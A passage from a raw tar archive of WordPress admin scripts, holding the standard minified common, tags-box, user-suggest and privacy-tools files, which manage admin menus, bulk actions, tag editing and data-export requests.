e=c(this).data("property");i[e]=c(this).val()}),n.stopListening(n.model,"change",n.syncModelToInputs),n.model.set(i),n.listenTo(n.model,"change",n.syncModelToInputs))},m.init=function(){var e=c(document);e.on("widget-added",m.handleWidgetAdded),e.on("widget-synced widget-updated",m.handleWidgetUpdated),c(function(){"widgets"===window.pagenow&&(c(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=c(this);m.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?m.setupAccessibleMode():c(window).on("load",function(){m.setupAccessibleMode()}))})},m}(jQuery); common.min.js 0000644 00000056322 15222552267 0007174 0 ustar 00 /*! This file is auto-generated */ !function(B,W){var $=B(document),H=B(W),q=B(document.body),Q=wp.i18n.__,i=wp.i18n.sprintf;function r(e,t,n){n=void 0!==n?i(Q("%1$s is deprecated since version %2$s! Use %3$s instead."),e,t,n):i(Q("%1$s is deprecated since version %2$s with no alternative available."),e,t);W.console.warn(n)}function e(i,o,a){var s={};return Object.keys(o).forEach(function(e){var t=o[e],n=i+"."+e;"object"==typeof t?Object.defineProperty(s,e,{get:function(){return r(n,a,t.alternative),t.func()}}):Object.defineProperty(s,e,{get:function(){return r(n,a,"wp.i18n"),t}})}),s}W.wp.deprecateL10nObject=e,W.commonL10n=W.commonL10n||{warnDelete:"",dismiss:"",collapseMenu:"",expandMenu:""},W.commonL10n=e("commonL10n",W.commonL10n,"5.5.0"),W.wpPointerL10n=W.wpPointerL10n||{dismiss:""},W.wpPointerL10n=e("wpPointerL10n",W.wpPointerL10n,"5.5.0"),W.userProfileL10n=W.userProfileL10n||{warn:"",warnWeak:"",show:"",hide:"",cancel:"",ariaShow:"",ariaHide:""},W.userProfileL10n=e("userProfileL10n",W.userProfileL10n,"5.5.0"),W.privacyToolsL10n=W.privacyToolsL10n||{noDataFound:"",foundAndRemoved:"",noneRemoved:"",someNotRemoved:"",removalError:"",emailSent:"",noExportFile:"",exportError:""},W.privacyToolsL10n=e("privacyToolsL10n",W.privacyToolsL10n,"5.5.0"),W.authcheckL10n={beforeunload:""},W.authcheckL10n=W.authcheckL10n||e("authcheckL10n",W.authcheckL10n,"5.5.0"),W.tagsl10n={noPerm:"",broken:""},W.tagsl10n=W.tagsl10n||e("tagsl10n",W.tagsl10n,"5.5.0"),W.adminCommentsL10n=W.adminCommentsL10n||{hotkeys_highlight_first:{alternative:"window.adminCommentsSettings.hotkeys_highlight_first",func:function(){return W.adminCommentsSettings.hotkeys_highlight_first}},hotkeys_highlight_last:{alternative:"window.adminCommentsSettings.hotkeys_highlight_last",func:function(){return W.adminCommentsSettings.hotkeys_highlight_last}},replyApprove:"",reply:"",warnQuickEdit:"",warnCommentChanges:"",docTitleComments:"",docTitleCommentsCount:""},W.adminCommentsL10n=e("adminCommentsL10n",W.adminCommentsL10n,"5.5.0"),W.tagsSuggestL10n=W.tagsSuggestL10n||{tagDelimiter:"",removeTerm:"",termSelected:"",termAdded:"",termRemoved:""},W.tagsSuggestL10n=e("tagsSuggestL10n",W.tagsSuggestL10n,"5.5.0"),W.wpColorPickerL10n=W.wpColorPickerL10n||{clear:"",clearAriaLabel:"",defaultString:"",defaultAriaLabel:"",pick:"",defaultLabel:""},W.wpColorPickerL10n=e("wpColorPickerL10n",W.wpColorPickerL10n,"5.5.0"),W.attachMediaBoxL10n=W.attachMediaBoxL10n||{error:""},W.attachMediaBoxL10n=e("attachMediaBoxL10n",W.attachMediaBoxL10n,"5.5.0"),W.postL10n=W.postL10n||{ok:"",cancel:"",publishOn:"",publishOnFuture:"",publishOnPast:"",dateFormat:"",showcomm:"",endcomm:"",publish:"",schedule:"",update:"",savePending:"",saveDraft:"",private:"",public:"",publicSticky:"",password:"",privatelyPublished:"",published:"",saveAlert:"",savingText:"",permalinkSaved:""},W.postL10n=e("postL10n",W.postL10n,"5.5.0"),W.inlineEditL10n=W.inlineEditL10n||{error:"",ntdeltitle:"",notitle:"",comma:"",saved:""},W.inlineEditL10n=e("inlineEditL10n",W.inlineEditL10n,"5.5.0"),W.plugininstallL10n=W.plugininstallL10n||{plugin_information:"",plugin_modal_label:"",ays:""},W.plugininstallL10n=e("plugininstallL10n",W.plugininstallL10n,"5.5.0"),W.navMenuL10n=W.navMenuL10n||{noResultsFound:"",warnDeleteMenu:"",saveAlert:"",untitled:""},W.navMenuL10n=e("navMenuL10n",W.navMenuL10n,"5.5.0"),W.commentL10n=W.commentL10n||{submittedOn:"",dateFormat:""},W.commentL10n=e("commentL10n",W.commentL10n,"5.5.0"),W.setPostThumbnailL10n=W.setPostThumbnailL10n||{setThumbnail:"",saving:"",error:"",done:""},W.setPostThumbnailL10n=e("setPostThumbnailL10n",W.setPostThumbnailL10n,"5.5.0"),W.uiAutocompleteL10n=W.uiAutocompleteL10n||{noResults:"",oneResult:"",manyResults:"",itemSelected:""},W.uiAutocompleteL10n=e("uiAutocompleteL10n",W.uiAutocompleteL10n,"6.5.0"),W.adminMenu={init:function(){},fold:function(){},restoreMenuState:function(){},toggle:function(){},favorites:function(){}},W.columns={init:function(){var n=this;B(".hide-column-tog","#adv-settings").on("click",function(){var e=B(this),t=e.val();e.prop("checked")?n.checked(t):n.unchecked(t),columns.saveManageColumnsState()})},saveManageColumnsState:function(){var e=this.hidden();B.post(ajaxurl,{action:"hidden-columns",hidden:e,screenoptionnonce:B("#screenoptionnonce").val(),page:pagenow},function(){wp.a11y.speak(Q("Screen Options updated."))})},checked:function(e){B(".column-"+e).removeClass("hidden"),this.colSpanChange(1)},unchecked:function(e){B(".column-"+e).addClass("hidden"),this.colSpanChange(-1)},hidden:function(){return B(".manage-column[id]").filter(".hidden").map(function(){return this.id}).get().join(",")},useCheckboxesForHidden:function(){this.hidden=function(){return B(".hide-column-tog").not(":checked").map(function(){var e=this.id;return e.substring(e,e.length-5)}).get().join(",")}},colSpanChange:function(e){var t=B("table").find(".colspanchange");t.length&&(e=parseInt(t.attr("colspan"),10)+e,t.attr("colspan",e.toString()))}},B(function(){columns.init()}),W.validateForm=function(e){return!B(e).find(".form-required").filter(function(){return""===B(":input:visible",this).val()}).addClass("form-invalid").find(":input:visible").on("change",function(){B(this).closest(".form-invalid").removeClass("form-invalid")}).length},W.showNotice={warn:function(){return!!confirm(Q("You are about to permanently delete these items from your site.\nThis action cannot be undone.\n'Cancel' to stop, 'OK' to delete."))},note:function(e){alert(e)}},W.screenMeta={element:null,toggles:null,page:null,init:function(){this.element=B("#screen-meta"),this.toggles=B("#screen-meta-links").find(".show-settings"),this.page=B("#wpcontent"),this.toggles.on("click",this.toggleEvent)},toggleEvent:function(){var e=B("#"+B(this).attr("aria-controls"));e.length&&(e.is(":visible")?screenMeta.close(e,B(this)):screenMeta.open(e,B(this)))},open:function(e,t){B("#screen-meta-links").find(".screen-meta-toggle").not(t.parent()).css("visibility","hidden"),e.parent().show(),e.slideDown("fast",function(){e.removeClass("hidden").trigger("focus"),t.addClass("screen-meta-active").attr("aria-expanded",!0)}),$.trigger("screen:options:open")},close:function(e,t){e.slideUp("fast",function(){t.removeClass("screen-meta-active").attr("aria-expanded",!1),B(".screen-meta-toggle").css("visibility",""),e.parent().hide(),e.addClass("hidden")}),$.trigger("screen:options:close")}},B(".contextual-help-tabs").on("click","a",function(e){var t=B(this);if(e.preventDefault(),t.is(".active a"))return!1;B(".contextual-help-tabs .active").removeClass("active"),t.parent("li").addClass("active"),e=B(t.attr("href")),B(".help-tab-content").not(e).removeClass("active").hide(),e.addClass("active").show()});var t,a=!1,s=B("#permalink_structure"),n=B(".permalink-structure input:radio"),l=B("#custom_selection"),o=B(".form-table.permalink-structure .available-structure-tags button");function c(e){-1!==s.val().indexOf(e.text().trim())?(e.attr("data-label",e.attr("aria-label")),e.attr("aria-label",e.attr("data-used")),e.attr("aria-pressed",!0),e.addClass("active")):e.attr("data-label")&&(e.attr("aria-label",e.attr("data-label")),e.attr("aria-pressed",!1),e.removeClass("active"))}function d(){$.trigger("wp-window-resized")}n.on("change",function(){"custom"!==this.value&&(s.val(this.value),o.each(function(){c(B(this))}))}),s.on("click input",function(){l.prop("checked",!0)}),s.on("focus",function(e){a=!0,B(this).off(e)}),o.each(function(){c(B(this))}),s.on("change",function(){o.each(function(){c(B(this))})}),o.on("click",function(){var e=s.val(),t=s[0].selectionStart,n=s[0].selectionEnd,i=B(this).text().trim(),o=B(this).hasClass("active")?B(this).attr("data-removed"):B(this).attr("data-added");-1!==e.indexOf(i)?(e=e.replace(i+"/",""),s.val("/"===e?"":e),B("#custom_selection_updated").text(o),c(B(this))):(a||0!==t||0!==n||(t=n=e.length),l.prop("checked",!0),"/"!==e.substr(0,t).substr(-1)&&(i="/"+i),"/"!==e.substr(n,1)&&(i+="/"),s.val(e.substr(0,t)+i+e.substr(n)),B("#custom_selection_updated").text(o),c(B(this)),a&&s[0].setSelectionRange&&(n=(e.substr(0,t)+i).length,s[0].setSelectionRange(n,n),s.trigger("focus")))}),B(function(){var n,i,o,a,e,t,s,r=!1,l=B("input.current-page"),z=l.val(),c=/iPhone|iPad|iPod/.test(navigator.userAgent),R=-1!==navigator.userAgent.indexOf("Android"),d=B("#adminmenuwrap"),u=B("#wpwrap"),p=B("#adminmenu"),m=B("#wp-responsive-overlay"),h=B("#wp-toolbar"),f=h.find('a[aria-haspopup="true"]'),g=B(".meta-box-sortables"),v=!1,b=B("#wpadminbar"),w=0,k=!1,y=!1,C=0,L=!1,x={window:H.height(),wpwrap:u.height(),adminbar:b.height(),menu:d.height()},S=B(".wp-header-end");function A(e){var t=e.find(".wp-submenu"),e=e.offset().top,n=H.scrollTop(),i=e-n-30,e=e+t.height()+1,o=60+e-u.height(),n=H.height()+n-50;1<(o=i<(o=n<e-o?e-n:o)?i:o)&&B("#wp-admin-bar-menu-toggle").is(":hidden")?t.css("margin-top","-"+o+"px"):t.css("margin-top","")}function P(){B(".notice.is-dismissible").each(function(){var t=B(this),e=B('<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>');t.find(".notice-dismiss").length||(e.find(".screen-reader-text").text(Q("Dismiss this notice.")),e.on("click.wp-dismiss-notice",function(e){e.preventDefault(),t.fadeTo(100,0,function(){t.slideUp(100,function(){t.remove()})})}),t.append(e))})}function T(e,t,n,i){n.on("change",function(){e.val(B(this).val())}),e.on("change",function(){n.val(B(this).val())}),i.on("click",function(e){e.preventDefault(),e.stopPropagation(),t.trigger("click")})}p.on("click.wp-submenu-head",".wp-submenu-head",function(e){B(e.target).parent().siblings("a").get(0).click()}),B("#collapse-button").on("click.collapse-menu",function(){var e=I()||961;B("#adminmenu div.wp-submenu").css("margin-top",""),s=e<=960?q.hasClass("auto-fold")?(q.removeClass("auto-fold").removeClass("folded"),setUserSetting("unfold",1),setUserSetting("mfold","o"),"open"):(q.addClass("auto-fold"),setUserSetting("unfold",0),"folded"):q.hasClass("folded")?(q.removeClass("folded"),setUserSetting("mfold","o"),"open"):(q.addClass("folded"),setUserSetting("mfold","f"),"folded"),$.trigger("wp-collapse-menu",{state:s})}),("ontouchstart"in W||/IEMobile\/[1-9]/.test(navigator.userAgent))&&(q.on((E=c?"touchstart":"click")+".wp-mobile-hover",function(e){p.data("wp-responsive")||B(e.target).closest("#adminmenu").length||p.find("li.opensub").removeClass("opensub")}),p.find("a.wp-has-submenu").on(E+".wp-mobile-hover",function(e){var t=B(this).parent();p.data("wp-responsive")||t.hasClass("opensub")||t.hasClass("wp-menu-open")&&!(t.width()<40)||(e.preventDefault(),A(t),p.find("li.opensub").removeClass("opensub"),t.addClass("opensub"))})),c||R||(p.find("li.wp-has-submenu").hoverIntent({over:function(){var e=B(this),t=e.find(".wp-submenu"),t=parseInt(t.css("top"),10);isNaN(t)||-5<t||p.data("wp-responsive")||(A(e),p.find("li.opensub").removeClass("opensub"),e.addClass("opensub"))},out:function(){p.data("wp-responsive")||B(this).removeClass("opensub").find(".wp-submenu").css("margin-top","")},timeout:200,sensitivity:7,interval:90}),p.on("focus.adminmenu",".wp-submenu a",function(e){p.data("wp-responsive")||B(e.target).closest("li.menu-top").addClass("opensub")}).on("blur.adminmenu",".wp-submenu a",function(e){p.data("wp-responsive")||B(e.target).closest("li.menu-top").removeClass("opensub")}).find("li.wp-has-submenu.wp-not-current-submenu").on("focusin.adminmenu",function(){A(B(this))})),S.length||(S=B(".wrap h1, .wrap h2").first()),B("div.updated, div.error, div.notice").not(".inline, .below-h2").insertAfter(S),$.on("wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error wp-notice-added",P),screenMeta.init(),q.on("click","tbody > tr > .check-column :checkbox",function(e){if("undefined"!=e.shiftKey){if(e.shiftKey){if(!r)return!0;n=B(r).closest("form").find(":checkbox").filter(":visible:enabled"),i=n.index(r),o=n.index(this),a=B(this).prop("checked"),0<i&&0<o&&i!=o&&(i<o?n.slice(i,o):n.slice(o,i)).prop("checked",function(){return!!B(this).closest("tr").is(":visible")&&a})}var t=B(r=this).closest("tbody").find("tr").find(":checkbox").filter(":visible:enabled").not(":checked");B(this).closest("table").children("thead, tfoot").find(":checkbox").prop("checked",function(){return 0===t.length})}return!0}),q.on("click.wp-toggle-checkboxes","thead .check-column :checkbox, tfoot .check-column :checkbox",function(e){var t=B(this),n=t.closest("table"),i=t.prop("checked"),o=e.shiftKey||t.data("wp-toggle");n.children("tbody").filter(":visible").children().children(".check-column").find(":checkbox").prop("checked",function(){return!B(this).is(":hidden,:disabled")&&(o?!B(this).prop("checked"):!!i)}),n.children("thead, tfoot").filter(":visible").children().children(".check-column").find(":checkbox").prop("checked",function(){return!o&&!!i})}),T(B("#bulk-action-selector-top"),B("#doaction"),B("#bulk-action-selector-bottom"),B("#doaction2")),T(B("#new_role"),B("#changeit"),B("#new_role2"),B("#changeit2"));var M,_,E;function D(){M.prop("disabled",""===_.map(function(){return B(this).val()}).get().join(""))}function N(e){var t=H.scrollTop(),e=!e||"scroll"!==e.type;if(!c&&!p.data("wp-responsive"))if(x.menu+x.adminbar<x.window||x.menu+x.adminbar+20>x.wpwrap)O();else{if(L=!0,x.menu+x.adminbar>x.window){if(t<0)return void(k||(y=!(k=!0),d.css({position:"fixed",top:"",bottom:""})));if(t+x.window>$.height()-1)return void(y||(k=!(y=!0),d.css({position:"fixed",top:"",bottom:0})));w<t?k?(k=!1,(C=d.offset().top-x.adminbar-(t-w))+x.menu+x.adminbar<t+x.window&&(C=t+x.window-x.menu-x.adminbar),d.css({position:"absolute",top:C,bottom:""})):!y&&d.offset().top+x.menu<t+x.window&&(y=!0,d.css({position:"fixed",top:"",bottom:0})):t<w?y?(y=!1,(C=d.offset().top-x.adminbar+(w-t))+x.menu>t+x.window&&(C=t),d.css({position:"absolute",top:C,bottom:""})):!k&&d.offset().top>=t+x.adminbar&&(k=!0,d.css({position:"fixed",top:"",bottom:""})):e&&(k=y=!1,0<(C=t+x.window-x.menu-x.adminbar-1)?d.css({position:"absolute",top:C,bottom:""}):O())}w=t}}function F(){x={window:H.height(),wpwrap:u.height(),adminbar:b.height(),menu:d.height()}}function O(){!c&&L&&(k=y=L=!1,d.css({position:"",top:"",bottom:""}))}function j(){F(),p.data("wp-responsive")?(q.removeClass("sticky-menu"),O()):x.menu+x.adminbar>x.window?(N(),q.removeClass("sticky-menu")):(q.addClass("sticky-menu"),O())}function U(){B(".aria-button-if-js").attr("role","button")}function I(){var e=!1;return e=W.innerWidth?Math.max(W.innerWidth,document.documentElement.clientWidth):e}function K(){var e=I()||961;s=e<=782?"responsive":q.hasClass("folded")||q.hasClass("auto-fold")&&e<=960&&782<e?"folded":"open",$.trigger("wp-menu-state-set",{state:s})}B(".bulkactions").parents("form").on("submit",function(e){var t=!(!e.originalEvent||!e.originalEvent.submitter)&&e.originalEvent.submitter.name,n=this.querySelector("#current-page-selector");if(!n||n.defaultValue===n.value){n={bulk_action:W.bulkActionObserverIds.bulk_action,changeit:W.bulkActionObserverIds.changeit};if(Object.keys(n).includes(t)){n=new FormData(this).get(n[t])||"-1";if("-1"!==n)if(0<this.querySelectorAll('.wp-list-table tbody .check-column input[type="checkbox"]:checked').length)return;e.preventDefault(),e.stopPropagation(),B("html, body").animate({scrollTop:0});var i,o,t=Q("-1"!==n?"Please select at least one item to perform this action on.":"Please select a bulk action to perform.");n=B((e={id:"-1"!==n?"no-items-selected":"no-bulk-action-selected",type:"error",message:t,dismissible:!0}).selector),o=B(".wp-header-end"),delete e.selector,i=e.dismissible&&!0===e.dismissible?" is-dismissible":"",i='<div id="'+e.id+'" class="notice notice-'+e.type+i+'"><p>'+e.message+"</p></div>",(n=n.length?n:B("#"+e.id)).length?n.replaceWith(i):o.length?o.after(i):"customize"===pagenow?B(".customize-themes-notifications").append(i):B(".wrap").find("> h1").after(i),$.trigger("wp-notice-added"),wp.a11y.speak(t)}}}),B("#wpbody-content").on({focusin:function(){clearTimeout(e),t=B(this).find(".row-actions"),B(".row-actions").not(this).removeClass("visible"),t.addClass("visible")},focusout:function(){e=setTimeout(function(){t.removeClass("visible")},30)}},".table-view-list .has-row-actions"),B("tbody").on("click",".toggle-row",function(){B(this).closest("tr").toggleClass("is-expanded")}),B("#default-password-nag-no").on("click",function(){return setUserSetting("default_password_nag","hide"),B("div.default-password-nag").hide(),!1}),B("#newcontent").on("keydown.wpevent_InsertTab",function(e){var t,n,i,o,a=e.target;27==e.keyCode?(e.preventDefault(),B(a).data("tab-out",!0)):9!=e.keyCode||e.ctrlKey||e.altKey||e.shiftKey||(B(a).data("tab-out")?B(a).data("tab-out",!1):(t=a.selectionStart,n=a.selectionEnd,i=a.value,document.selection?(a.focus(),document.selection.createRange().text="\t"):0<=t&&(o=this.scrollTop,a.value=i.substring(0,t).concat("\t",i.substring(n)),a.selectionStart=a.selectionEnd=t+1,this.scrollTop=o),e.stopPropagation&&e.stopPropagation(),e.preventDefault&&e.preventDefault()))}),l.length&&l.closest("form").on("submit",function(){-1==B('select[name="action"]').val()&&l.val()==z&&l.val("1")}),B('.search-box input[type="search"], .search-box input[type="submit"]').on("mousedown",function(){B('select[name^="action"]').val("-1")}),B("#contextual-help-link, #show-settings-link").on("focus.scroll-into-view",function(e){e.target.scrollIntoViewIfNeeded&&e.target.scrollIntoViewIfNeeded(!1)}),(E=B("form.wp-upload-form")).length&&(M=E.find('input[type="submit"]'),_=E.find('input[type="file"]'),D(),_.on("change",D)),c||(H.on("scroll.pin-menu",N),$.on("tinymce-editor-init.pin-menu",function(e,t){t.on("wp-autoresize",F)})),W.wpResponsive={init:function(){var e=this;this.maybeDisableSortables=this.maybeDisableSortables.bind(this),$.on("wp-responsive-activate.wp-responsive",function(){e.activate(),e.toggleAriaHasPopup("add")}).on("wp-responsive-deactivate.wp-responsive",function(){e.deactivate(),e.toggleAriaHasPopup("remove")}),B("#wp-admin-bar-menu-toggle a").attr("aria-expanded","false"),B("#wp-admin-bar-menu-toggle").on("click.wp-responsive",function(e){e.preventDefault(),b.find(".hover").removeClass("hover"),u.toggleClass("wp-responsive-open"),u.hasClass("wp-responsive-open")?(B(this).find("a").attr("aria-expanded","true"),B("#adminmenu a:first").trigger("focus")):B(this).find("a").attr("aria-expanded","false")}),B(document).on("click",function(e){var t;u.hasClass("wp-responsive-open")&&document.hasFocus()&&(t=B.contains(B("#wp-admin-bar-menu-toggle")[0],e.target),e=B.contains(B("#adminmenuwrap")[0],e.target),t||e||B("#wp-admin-bar-menu-toggle").trigger("click.wp-responsive"))}),B(document).on("keyup",function(e){var n,i,o=B("#wp-admin-bar-menu-toggle")[0];u.hasClass("wp-responsive-open")&&(27===e.keyCode?(B(o).trigger("click.wp-responsive"),B(o).find("a").trigger("focus")):9===e.keyCode&&(n=B("#adminmenuwrap")[0],i=e.relatedTarget||document.activeElement,setTimeout(function(){var e=B.contains(o,i),t=B.contains(n,i);e||t||B(o).trigger("click.wp-responsive")},10)))}),p.on("click.wp-responsive","li.wp-has-submenu > a",function(e){var t;p.data("wp-responsive")&&(t="false"===B(this).attr("aria-expanded")?"true":"false",B(this).parent("li").toggleClass("selected"),B(this).attr("aria-expanded",t),B(this).trigger("focus"),e.preventDefault())}),e.trigger(),$.on("wp-window-resized.wp-responsive",this.trigger.bind(this)),H.on("load.wp-responsive",this.maybeDisableSortables),$.on("postbox-toggled",this.maybeDisableSortables),B("#screen-options-wrap input").on("click",this.maybeDisableSortables)},maybeDisableSortables:function(){(-1<navigator.userAgent.indexOf("AppleWebKit/")?H.width():W.innerWidth)<=782||g.find(".ui-sortable-handle:visible").length<=1&&jQuery(".columns-prefs-1 input").prop("checked")?this.disableSortables():this.enableSortables()},activate:function(){j(),q.hasClass("auto-fold")||q.addClass("auto-fold"),p.data("wp-responsive",1),this.disableSortables()},deactivate:function(){j(),p.removeData("wp-responsive"),this.maybeDisableSortables()},toggleAriaHasPopup:function(e){var t=p.find("[data-ariahaspopup]");"add"===e?t.each(function(){B(this).attr("aria-haspopup","menu").attr("aria-expanded","false")}):t.each(function(){B(this).removeAttr("aria-haspopup").removeAttr("aria-expanded")})},trigger:function(){var e=I();e&&(e<=782?v||($.trigger("wp-responsive-activate"),v=!0):v&&($.trigger("wp-responsive-deactivate"),v=!1),e<=480?this.enableOverlay():this.disableOverlay(),this.maybeDisableSortables())},enableOverlay:function(){0===m.length&&(m=B('<div id="wp-responsive-overlay"></div>').insertAfter("#wpcontent").hide().on("click.wp-responsive",function(){h.find(".menupop.hover").removeClass("hover"),B(this).hide()})),f.on("click.wp-responsive",function(){m.show()})},disableOverlay:function(){f.off("click.wp-responsive"),m.hide()},disableSortables:function(){if(g.length)try{g.sortable("disable"),g.find(".ui-sortable-handle").addClass("is-non-sortable")}catch(e){}},enableSortables:function(){if(g.length)try{g.sortable("enable"),g.find(".ui-sortable-handle").removeClass("is-non-sortable")}catch(e){}}},B(document).on("ajaxComplete",function(){U()}),$.on("wp-window-resized.set-menu-state",K),$.on("wp-menu-state-set wp-collapse-menu",function(e,t){var n,i=B("#collapse-button"),t="folded"===t.state?(n="false",Q("Expand Main menu")):(n="true",Q("Collapse Main menu"));i.attr({"aria-expanded":n,"aria-label":t})}),W.wpResponsive.init(),j(),K(),P(),U(),$.on("wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu",j),B(".wp-initial-focus").trigger("focus"),q.on("click",".js-update-details-toggle",function(){var e=B(this).closest(".js-update-details"),t=B("#"+e.data("update-details"));t.hasClass("update-details-moved")||t.insertAfter(e).addClass("update-details-moved"),t.toggle(),B(this).attr("aria-expanded",t.is(":visible"))})}),B(function(e){var t,n;q.hasClass("update-php")&&(t=e("a.update-from-upload-overwrite"),n=e(".update-from-upload-expired"),t.length)&&n.length&&W.setTimeout(function(){t.hide(),n.removeClass("hidden"),W.wp&&W.wp.a11y&&W.wp.a11y.speak(n.text())},714e4)}),H.on("resize.wp-fire-once",function(){W.clearTimeout(t),t=W.setTimeout(d,200)}),"-ms-user-select"in document.documentElement.style&&navigator.userAgent.match(/IEMobile\/10\.0/)&&((n=document.createElement("style")).appendChild(document.createTextNode("@-ms-viewport{width:auto!important}")),document.getElementsByTagName("head")[0].appendChild(n))}(jQuery,window),function(){var e,i={},o={};i.pauseAll=!1,!window.matchMedia||(e=window.matchMedia("(prefers-reduced-motion: reduce)"))&&!e.matches||(i.pauseAll=!0),i.freezeAnimatedPluginIcons=function(l){function e(){var e=l.width,t=l.height,n=document.createElement("canvas");if(n.width=e,n.height=t,n.className=l.className,l.closest("#update-plugins-table"))for(var i=window.getComputedStyle(l),o=0,a=i.length;o<a;o++){var s=i[o],r=i.getPropertyValue(s);n.style[s]=r}n.getContext("2d").drawImage(l,0,0,e,t),n.setAttribute("aria-hidden","true"),n.setAttribute("role","presentation"),l.parentNode.insertBefore(n,l),l.style.opacity=.01,l.style.width="0px",l.style.height="0px"}l.complete?e():l.addEventListener("load",e,!0)},o.freezeAll=function(){for(var e=document.querySelectorAll(".plugin-icon, #update-plugins-table img"),t=0;t<e.length;t++)/\.gif(?:\?|$)/i.test(e[t].src)&&i.freezeAnimatedPluginIcons(e[t])},!0===i.pauseAll&&o.freezeAll(),e=jQuery,"plugin-install"===window.pagenow&&e(document).ajaxComplete(function(e,t,n){n.data&&"string"==typeof n.data&&n.data.includes("action=search-install-plugins")&&(window.matchMedia?window.matchMedia("(prefers-reduced-motion: reduce)").matches&&o.freezeAll():!0===i.pauseAll&&o.freezeAll())})}(); user-suggest.min.js 0000644 00000001244 15222552267 0010332 0 ustar 00 /*! This file is auto-generated */ !function(a){var n="undefined"!=typeof current_site_id?"&site_id="+current_site_id:"";a(function(){var i={offset:"0, -1"};"undefined"!=typeof isRtl&&isRtl&&(i.my="right top",i.at="right bottom"),a(".wp-suggest-user").each(function(){var e=a(this),t=void 0!==e.data("autocompleteType")?e.data("autocompleteType"):"add",o=void 0!==e.data("autocompleteField")?e.data("autocompleteField"):"user_login";e.autocomplete({source:ajaxurl+"?action=autocomplete-user&autocomplete_type="+t+"&autocomplete_field="+o+n,delay:500,minLength:2,position:i,open:function(){a(this).addClass("open")},close:function(){a(this).removeClass("open")}})})})}(jQuery); tags-box.min.js 0000644 00000006005 15222552267 0007421 0 ustar 00 /*! This file is auto-generated */ !function(o){var r=wp.i18n._x(",","tag delimiter")||",";window.array_unique_noempty=function(t){var a=[];return o.each(t,function(t,e){(e=(e=e||"").trim())&&-1===o.inArray(e,a)&&a.push(e)}),a},window.tagBox={clean:function(t){return t=(t=","!==r?t.replace(new RegExp(r,"g"),","):t).replace(/\s*,\s*/g,",").replace(/,+/g,",").replace(/[,\s]+$/,"").replace(/^[,\s]+/,""),t=","!==r?t.replace(/,/g,r):t},parseTags:function(t){var e=t.id.split("-check-num-")[1],t=o(t).closest(".tagsdiv"),a=t.find(".the-tags"),i=a.val().split(r),n=[];return delete i[e],o.each(i,function(t,e){(e=(e=e||"").trim())&&n.push(e)}),a.val(this.clean(n.join(r))),this.quickClicks(t),!1},quickClicks:function(t){var a,e=o(".the-tags",t),i=o(".tagchecklist",t),n=o(t).attr("id");e.length&&(a=e.prop("disabled"),t=e.val().split(r),i.empty(),o.each(t,function(t,e){(e=(e=e||"").trim())&&(e=o("<li />").text(e),a||((t=o('<button type="button" id="'+n+"-check-num-"+t+'" class="ntdelbutton"><span class="remove-tag-icon" aria-hidden="true"></span><span class="screen-reader-text">'+wp.i18n.__("Remove term:")+" "+e.html()+"</span></button>")).on("click keypress",function(t){"click"!==t.type&&13!==t.keyCode&&32!==t.keyCode||(13!==t.keyCode&&32!==t.keyCode||o(this).closest(".tagsdiv").find("input.newtag").trigger("focus"),tagBox.userAction="remove",tagBox.parseTags(this))}),e.prepend(" ").prepend(t)),i.append(e))}),tagBox.screenReadersMessage())},flushTags:function(t,e,a){var i,n,s=o(".the-tags",t),c=o("input.newtag",t);return void 0!==(n=(e=e||!1)?o(e).text():c.val())&&""!==n&&(i=s.val(),i=this.clean(i=i?i+r+n:n),i=array_unique_noempty(i.split(r)).join(r),s.val(i),this.quickClicks(t),e||c.val(""),void 0===a)&&c.trigger("focus"),!1},get:function(a){var i=a.substr(a.indexOf("-")+1);o.post(ajaxurl,{action:"get-tagcloud",tax:i},function(t,e){0!==t&&"success"==e&&(t=o('<div id="tagcloud-'+i+'" class="the-tagcloud">'+t+"</div>"),o("a",t).on("click",function(){return tagBox.userAction="add",tagBox.flushTags(o("#"+i),this),!1}),o("#"+a).after(t))})},userAction:"",screenReadersMessage:function(){var t;switch(this.userAction){case"remove":t=wp.i18n.__("Term removed.");break;case"add":t=wp.i18n.__("Term added.");break;default:return}window.wp.a11y.speak(t,"assertive")},init:function(){var t=o("div.ajaxtag");o(".tagsdiv").each(function(){tagBox.quickClicks(this)}),o(".tagadd",t).on("click",function(){tagBox.userAction="add",tagBox.flushTags(o(this).closest(".tagsdiv"))}),o("input.newtag",t).on("keypress",function(t){13==t.which&&(tagBox.userAction="add",tagBox.flushTags(o(this).closest(".tagsdiv")),t.preventDefault(),t.stopPropagation())}).each(function(t,e){o(e).wpTagsSuggest()}),o("#post").on("submit",function(){o("div.tagsdiv").each(function(){tagBox.flushTags(this,!1,1)})}),o(".tagcloud-link").on("click",function(){tagBox.get(o(this).attr("id")),o(this).attr("aria-expanded","true").off().on("click",function(){o(this).attr("aria-expanded","false"===o(this).attr("aria-expanded")?"true":"false").siblings(".the-tagcloud").toggle()})})}}}(jQuery); privacy-tools.min.js 0000644 00000012042 15222552267 0010506 0 ustar 00 /*! This file is auto-generated */ jQuery(function(v){var r,h=wp.i18n.__;function w(e,t){e.children().addClass("hidden"),e.children("."+t).removeClass("hidden")}function x(e){e.removeClass("has-request-results"),e.next().hasClass("request-results")&&e.next().remove()}function T(e,t,a,o){var s="",n="request-results";x(e),o.length&&(v.each(o,function(e,t){s=s+"<li>"+t+"</li>"}),s="<ul>"+s+"</ul>"),e.addClass("has-request-results"),e.hasClass("status-request-confirmed")&&(n+=" status-request-confirmed"),e.hasClass("status-request-failed")&&(n+=" status-request-failed"),e.after(function(){return'<tr class="'+n+'"><th colspan="5"><div class="notice inline notice-alt '+t+'" role="alert"><p>'+a+"</p>"+s+"</div></td></tr>"})}v(".export-personal-data-handle").on("click",function(e){var t=v(this),n=t.parents(".export-personal-data"),r=t.parents("tr"),a=r.find(".export-progress"),i=t.parents(".row-actions"),c=n.data("request-id"),d=n.data("nonce"),l=n.data("exporters-count"),u=!!n.data("send-as-email");function p(e){var t=h("An error occurred while attempting to export personal data.");w(n,"export-personal-data-failed"),e&&T(r,"notice-error",t,[e]),setTimeout(function(){i.removeClass("processing")},500)}function 